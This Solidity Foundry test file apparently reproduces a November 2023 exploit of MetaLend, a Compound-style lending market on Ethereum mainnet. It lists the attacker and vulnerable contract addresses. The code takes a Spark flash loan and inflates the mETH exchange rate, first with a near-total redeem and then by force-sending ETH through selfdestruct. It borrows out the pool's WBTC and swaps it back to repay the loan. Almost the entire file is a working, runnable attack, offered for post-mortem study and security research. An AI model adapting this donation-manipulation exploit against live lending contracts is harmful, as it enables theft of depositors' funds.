src/test/2023-11/MetaLend_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "./../basetest.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$4K
8// Attacker : https://etherscan.io/address/0x0c06340f5024c114fe196fcb38e42d20ab00f6eb
9// Attack Contract : https://etherscan.io/address/0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca
10// Vulnerable Contract : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da7
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/MetaSec_xyz/status/1728424965257691173
19// Hacking God :
20 
21contract MetaLendExploit is BaseTestWithBalanceLog {
22    IAaveFlashloan private constant Spark = IAaveFlashloan(0xC13e21B648A5Ee794902342038FF3aDAB66BE987);
23    Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
24    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
25    IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
26    ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);
27 
28    uint256 private constant blocknumToForkFrom = 18_648_753;
29 
30    function setUp() public {
31        vm.createSelectFork("mainnet", blocknumToForkFrom);
32        vm.label(address(Spark), "Spark");
33        vm.label(address(Router), "Router");
34        vm.label(address(WETH), "WETH");
35        vm.label(address(WBTC), "WBTC");
36        vm.label(address(Comptroller), "Comptroller");
37    }
38 
39    function testExploit() public {
40        deal(address(this), 0);
41        emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);
42 
43        Spark.flashLoanSimple(address(this), address(WETH), 100e18, bytes(""), 0);
44 
45        emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);
46    }
47 
48    function executeOperation(
49        address asset,
50        uint256 amount,
51        uint256 premium,
52        address initiator,
53        bytes calldata params
54    ) external returns (bool) {
55        WETH.withdraw(WETH.balanceOf(address(this)));
56        Helper helper = new Helper{value: 100 ether}();
57        helper.donateAndBorrow();
58        WETH.deposit{value: address(this).balance}();
59        WBTC.approve(address(Router), type(uint256).max);
60        WBTCToWETH();
61        WETH.approve(address(Spark), amount);
62        return true;
63    }
64 
65    receive() external payable {}
66 
67    function WBTCToWETH() private {
68        address[] memory path = new address[](2);
69        path[0] = address(WBTC);
70        path[1] = address(WETH);
71        Router.swapExactTokensForTokens(WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000);
72    }
73}
74 
75contract Helper is Test {
76    IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
77    ICErc20Delegate private constant mWBTC = ICErc20Delegate(payable(0x0D8Df79195EC37C6cD53036f9F8eE0c24b23601E));
78    crETH private constant mETH = crETH(payable(0x5578f2E245e932a599c46215a0cA88707230F17B));
79    ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);
80    address private immutable owner;
81 
82    constructor() payable {
83        owner = msg.sender;
84    }
85 
86    function donateAndBorrow() external {
87        mETH.mint{value: 1 ether}();
88        uint256 reedemAmount = mETH.totalSupply() - 2;
89        mETH.redeem(reedemAmount);
90        Donator donator = new Donator();
91        donator.sendETHTo{value: address(this).balance}(address(mETH));
92        address[] memory mTokens = new address[](1);
93        mTokens[0] = address(mETH);
94        Comptroller.enterMarkets(mTokens);
95        uint256 underlyingWBTCAmount = mWBTC.getCash();
96        mWBTC.borrow(underlyingWBTCAmount - 1);
97        WBTC.transfer(owner, WBTC.balanceOf(address(this)));
98        mETH.redeemUnderlying(mETH.getCash() - 1);
99        (bool success,) = owner.call{value: address(this).balance}("");
100        require(success);
101    }
102 
103    receive() external payable {}
104}
105 
106contract Donator is Test {
107    function sendETHTo(
108        address to
109    ) external payable {
110        selfdestruct(payable(to));
111    }
112}